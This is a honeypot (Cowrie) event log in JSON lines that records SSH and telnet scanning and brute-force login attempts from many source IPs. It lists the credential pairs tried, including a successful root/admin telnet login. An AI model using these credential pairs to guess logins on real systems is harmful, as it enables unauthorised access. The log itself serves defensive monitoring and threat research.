{"eventid":"cowrie.session.connect","src_ip":"108.179.220.174","src_port":59624,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc3c1fccd53f","protocol":"ssh","message":"New connection: 108.179.220.174:59624 (10.17.0.5:22) [session: fc3c1fccd53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:09:30.174005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:09:30.180255Z","src_ip":"108.179.220.174","session":"fc3c1fccd53f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:09:30.209857Z","src_ip":"108.179.220.174","session":"fc3c1fccd53f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xem","password":"xem999","message":"login attempt [xem/xem999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:09:30.313102Z","src_ip":"108.179.220.174","session":"fc3c1fccd53f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:09:31.347680Z","src_ip":"108.179.220.174","session":"fc3c1fccd53f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.4007728099823,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:09:31.569604Z","src_ip":"170.64.224.25","session":"895e2ae8871b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":35534,"dst_ip":"10.17.0.5","dst_port":22,"session":"5659afc1fed6","protocol":"ssh","message":"New connection: 103.82.132.16:35534 (10.17.0.5:22) [session: 5659afc1fed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:09:39.225961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:09:39.234991Z","src_ip":"103.82.132.16","session":"5659afc1fed6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:09:39.491408Z","src_ip":"103.82.132.16","session":"5659afc1fed6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"150992","message":"login attempt [root/150992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:09:40.261189Z","src_ip":"103.82.132.16","session":"5659afc1fed6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:09:41.519038Z","src_ip":"103.82.132.16","session":"5659afc1fed6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.75.11","src_port":33688,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d9cda6ab633","protocol":"ssh","message":"New connection: 161.97.75.11:33688 (159.203.135.109:22) [session: 1d9cda6ab633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:09:47.429297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:09:47.432849Z","src_ip":"161.97.75.11","session":"1d9cda6ab633","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:09:47.524825Z","src_ip":"161.97.75.11","session":"1d9cda6ab633","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gavin123","message":"login attempt [root/gavin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:09:47.806189Z","src_ip":"161.97.75.11","session":"1d9cda6ab633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:09:48.901352Z","src_ip":"161.97.75.11","session":"1d9cda6ab633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":103.21974396705627,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:10:18.807222Z","src_ip":"170.64.224.25","session":"764ddb408610","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":98.53716969490051,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:10:24.049927Z","src_ip":"170.64.224.25","session":"21072f4ca43b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.215.121.209","src_port":44222,"dst_ip":"10.17.0.5","dst_port":22,"session":"a814c9e84794","protocol":"ssh","message":"New connection: 85.215.121.209:44222 (10.17.0.5:22) [session: a814c9e84794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:10:47.632060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:10:47.635220Z","src_ip":"85.215.121.209","session":"a814c9e84794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:10:47.726624Z","src_ip":"85.215.121.209","session":"a814c9e84794","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftx","password":"ftx123","message":"login attempt [ftx/ftx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:10:48.002295Z","src_ip":"85.215.121.209","session":"a814c9e84794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:10:49.096632Z","src_ip":"85.215.121.209","session":"a814c9e84794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.88.19","src_port":58758,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fdde593f16f","protocol":"telnet","message":"New connection: 94.26.88.19:58758 (10.17.0.5:23) [session: 4fdde593f16f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:10:55.762937Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:10:55.973960Z","src_ip":"94.26.88.19","session":"4fdde593f16f","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:10:56.018857Z","src_ip":"94.26.88.19","session":"4fdde593f16f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.88.94","src_port":43060,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5ced13c3b1d","protocol":"ssh","message":"New connection: 162.144.88.94:43060 (10.17.0.5:22) [session: e5ced13c3b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:11:02.539834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:11:02.543774Z","src_ip":"162.144.88.94","session":"e5ced13c3b1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":33146,"dst_ip":"159.203.135.109","dst_port":22,"session":"7db7ad4ca397","protocol":"ssh","message":"New connection: 159.65.58.200:33146 (159.203.135.109:22) [session: 7db7ad4ca397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:11:02.597063Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:11:02.632629Z","src_ip":"162.144.88.94","session":"e5ced13c3b1d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:11:02.828027Z","src_ip":"159.65.58.200","session":"7db7ad4ca397","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:11:02.830694Z","src_ip":"159.65.58.200","session":"7db7ad4ca397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jaxx456","message":"login attempt [root/jaxx456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:11:02.901314Z","src_ip":"162.144.88.94","session":"e5ced13c3b1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"simonenk","password":"123456","message":"login attempt [simonenk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:11:04.005483Z","src_ip":"159.65.58.200","session":"7db7ad4ca397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:11:04.873442Z","src_ip":"162.144.88.94","session":"e5ced13c3b1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:11:05.232262Z","src_ip":"159.65.58.200","session":"7db7ad4ca397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00660943984985,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:11:10.335831Z","src_ip":"170.64.224.25","session":"40f6e0d46917","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":42906,"dst_ip":"10.17.0.5","dst_port":22,"session":"52de155fce0c","protocol":"ssh","message":"New connection: 177.76.134.52:42906 (10.17.0.5:22) [session: 52de155fce0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:11:45.697017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:11:45.700606Z","src_ip":"177.76.134.52","session":"52de155fce0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:11:45.833474Z","src_ip":"177.76.134.52","session":"52de155fce0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password4321","message":"login attempt [root/Password4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:11:46.400943Z","src_ip":"177.76.134.52","session":"52de155fce0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:11:47.559675Z","src_ip":"177.76.134.52","session":"52de155fce0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":57838,"dst_ip":"10.17.0.5","dst_port":22,"session":"113a35bea8d2","protocol":"ssh","message":"New connection: 194.36.147.215:57838 (10.17.0.5:22) [session: 113a35bea8d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:12:23.334390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:12:23.338719Z","src_ip":"194.36.147.215","session":"113a35bea8d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:12:23.428761Z","src_ip":"194.36.147.215","session":"113a35bea8d2","protocol":"ssh"}
